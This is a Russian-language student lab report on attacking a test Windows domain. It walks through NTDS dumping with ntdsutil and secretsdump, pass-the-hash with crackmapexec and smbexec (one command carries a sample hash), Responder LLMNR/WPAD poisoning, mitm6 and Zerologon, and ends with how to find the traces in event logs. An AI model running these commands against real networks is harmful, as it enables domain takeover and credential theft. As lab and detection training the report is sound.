# Windows basics 6 # Практика 6 Базовые атаки и компрометация доменной Windows-инфраструктуры *Выполнил Андреев Игорь Константинович* ## Часть 1 - Базовые атаки на инфраструктуру Windows ### 1.1 Воспользуемся базовыми средствами Windows для работы с NTDS. Необходимо зайти в командную строку от имени администратора и ввести команды: > ntdsutil activate instance ntds ifm create full C:\temp > ![](https://i.imgur.com/lCpEQAy.png) ### 1.2 Видим созданые файлы дампа ![](https://i.imgur.com/N6iZDaS.png) ### 1.3 Воспользуемся базовыми средствами Kali Linux. С помощью SMB зайдём на сервер Win с Kali: > smbclient '\\192.168.10.200\C$' -U PT/Administrator После чего скопируем файлы на Kali: > recurse ON prompt OFF lcd /home/kali mget temp > ![](https://i.imgur.com/przbtYE.png) ### 1.4 Для анализа дампа для начала нужно скачать impacket. Находясь в домашней директории пользователя, выполните набор команд: > git clone https://github.com/SecureAuthCorp/impacket apt install python3-pip cd impacket pip install . > ![](https://i.imgur.com/o3ffs5h.png) ### 1.5 После установки нужно пройти из директории impacket в директорию examples (она внутри папки импакета) и выполнить следующую команду: > python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL ![](https://i.imgur.com/Epv1mfb.png) ## Часть 2 - Path-the-hash ### 2.1 Crackmapexec ### Это набор python-скриптов для тестирования Windows окружения. Использует Windows API, поэтому обнаружить довольно сложно. Самое базовое применение -- быстрое сканирование сети и обнаружение хостов, как либо взаимодействующих с протоколом smb: > crackmapexec smb 192.168.10.0/24 > Можно выполнять команды от имени пользователя на удаленной машине посредством командной строки: > crackmapexec smb 192.168.10.201 -u Administrator -H hash -x whoami > > - Где hash -- это NTLM хэш учетной записи (LM хэш в этом скрипте не используется, в отличие от скрипта smbexec, описанного далее). Можно посмотреть и список сетевых папок, доступных конкретному пользователю: > crackmapexec smb 192.168.10.201 -u Administrator -H hash --shares > А ещё в impacket есть интересная утилита **smbexec**, позволяющая запустить cmd windows для удаленной передачи команд, при этом практически [не оставляя следов](https://habr.com/ru/company/varonis/blog/514918/): > python3 smbexec.py PT/administrator@192.168.10.200 -hashes aad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128 > ![](https://i.imgur.com/0zWoveR.png) ### 2.2 XFreeRDP ### На DC1 включаем удалённый доступ для админов control panel >> system and security >> allow remote access ![](https://i.imgur.com/OjT5BXd.png) ### 2.3 Попробуем зайти на dc1 - Неудача (Ну я тут ещё и хеш не тот ввёл, но там всё равно ничего бы не получилось :) ) ![](https://i.imgur.com/NP59zE5.png) ### 2.4 Изменим параметр реестра на dc1 ![](https://i.imgur.com/u22sVtH.png) ### 2.5 У нас включена политика аудита PoSH -- там можно увидеть выполнение этой команды ![](https://i.imgur.com/yZt6vZT.png) ### 2.6 Наконец, получилось! ![](https://i.imgur.com/fmAke5b.png) ## Часть 3 - Атаки на базовые протоколы Windows ### NBT-NS & LLMNR & mDNS Важной частью эксплуатации будет WPAD -- специальный протокол для настройки проксирования в системе Win. Система всегда запрашивает файл с настройками wpad.dat, а злоумышленник может подсунуть свой файл, став прокси-серверов для Win и таким образом осуществив атаку "человек посередине". [NBT-NS](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP) (NetBIOS Name Service) -- протокол, позволяющий компьютерам в локальной сети обращаться друг к другу по именам, не используя сервер DNS. [LLMNR](https://ru.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution) (Link-Local Multicast Name Resolution) -- протокол для поиска и преобразования базовых имен внутри небольшой сети. Он же -- сетевое обнаружение. Использует мультикаст (то есть почти как широковещательный трафик, его в сети смогут увидеть все). [mDNS](https://en.wikipedia.org/wiki/Multicast_DNS) (Multicast DNS) -- суть такая же, как и у LLMNR. DNS через Мультикаст. Все вместе технологии реализуют [Zeroconf.](https://ru.wikipedia.org/wiki/Zeroconf) Основная уязвимость в этих протоколах -- отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам. > Например, пользователь PC1 вводит в "проводник" сетевой путь "\\\computer-1". Если PC1 не знает ничего про этой имя и DNS сервер тоже не может ответить, то тогда PC1 спрашивает всю локальную сеть следующее: "кто нибудь в курсе, кто таков "computer-1" и какой у него IP?" Если мы ответим PC1 и скажем, что наш адрес -- это адрес "computer-1", то PC1 нам поверит. По итогу получим атаку вида MITM. Для того, чтобы автоматически отвечать на такие запросы, есть инструмент Responder. Атака не пройдёт, если реальный DNS сервер сможет ответить на DNS запрос компьютера. > Начать всегда стоит со справки, чтобы изучить флаги скрипта и его возможности: > responder -h ### 3.1 Запускаем анализ Responder ![](https://i.imgur.com/aZMAWuj.png) ### 3.2 Доменный ПК пытается обратиться к несуществующему сетевому ресурсу ![](https://i.imgur.com/N1mebhB.png) ### 3.3 Анализатор видит LLNMR запросы ![](https://i.imgur.com/0lZ0KNV.png) ### 3.4 Режим атаки: > responder -I eth0 -wFv > > - где -I eth0 -- выбор интерфейса, > - w -- отравление WPAD, > - F -- попробовать принудить систему использовать старые протоколы аутентификации, если возможно, > - v -- вывод подробной информации (в т.ч. перехваченного хэша) Responder запускается ![](https://i.imgur.com/LWFeyZY.png) ### 3.5 Пользователь снова проходит по несуществующему пути ### Responder притворяется этим ресурсом, поэтому видим окно аутентификации ![](https://i.imgur.com/Z27mhaq.png) ### 3.6 Responder перехватывает аутентификационный токен ![](https://i.imgur.com/El4j81U.png) ## Часть 4 - mitm6 ### 4.1 Атака имитирует DHCPv6 сервер и отправляет на компьютеры в сети параметры IPv6, которые используются в приоритете над IPv4 при отправке компьютеров данных по сети. ### Установить можно как скачав с гитхаба, так и выполнив следующую команду: ![](https://i.imgur.com/rBs7XbC.png) ### 4.2 Настройки PC1 до атаки ![](https://i.imgur.com/7xZwT8b.png) ### 4.3 Включаем получение IPv6 на PC1 ![](https://i.imgur.com/kqvWNtW.png) ### 4.4 Атака ![](https://i.imgur.com/eH0iRkB.png) ### 4.5 Настройки PC1 после атаки ![](https://i.imgur.com/UZxDnyL.png) ### Пока что мы только подменили параметры у win10, обеспечив mitm. Чтобы атака прошла незаметно для пользователя, нужно воспользоваться способом, который позволит нам прикинуться ресурсом, который требует аутентификацию. Воспользуемся SMB ### 4.6 Создание своего сервера SMB. Не отключая mitm6, создадим SMB сервер: ![](https://i.imgur.com/5X8uofn.png) ### 4.7 Заходим на ресурс домена на Win 10 ![](https://i.imgur.com/K8j1mI4.png) ### 4.8 Увидим данные аутентификации в выводе программы ![](https://i.imgur.com/T0XrJ54.png) ### Эти аутентификационные данные уже можно вскрывать с помощью hashcat или John the ripper. Это не чистый хэш пароля, а аутентификация по протоколу NTLMv2 ## Часть 5 - Компрометация доменной Windows-инфраструктуры ### 5.1 Для начала нужно активировать политику аудита машинных учетных записей и применить к контроллерам домена ![](https://i.imgur.com/pu1u5CP.png) ### 5.2 Клонируем репозитрий для zerologon ![](https://i.imgur.com/Pp2luPP.png) ### 5.3 Применяем команду и сбрасываем пароль ![](https://i.imgur.com/Et6oPOo.png) ### 5.4 Скачиваем imppacket и переходим в эту папку ![](https://i.imgur.com/Qjem9uq.png) ### 5.5 сдампим NTDS с помощью secretsdump ![](https://i.imgur.com/AODAkMC.png) ### 5.6 С помощью полученных хешей учетных данных можно выполнять команды от любого пользователя ![](https://i.imgur.com/Bkwytwm.png) ## Часть 7 - Поиск следов эксплуатации уязвимостей ### 7.1 Проверим журнал System, увидим ошибку Netlogon ![](https://i.imgur.com/69PM2cZ.png) ### 7.2 Проверим Security, увидим событие 4742 ![](https://i.imgur.com/yr5qWIC.png) ### Изучим поподробнее ![](https://i.imgur.com/7HssYAo.png) ### Ещё в логе можно увидеть заполненное поле password last set -- это значит, что пароль был изменён. При легитимном взаимодействии пароль на машинной учетной записи может менять только NETWORK SERVICE. И, если это происходит, генерируется ещё одно событие с id 5823 ### 7.3 События 5823 не происходило ![](https://i.imgur.com/8oiEjEX.png) ### 7.4 Дамп NTDS ![](https://i.imgur.com/fJfZy4T.png)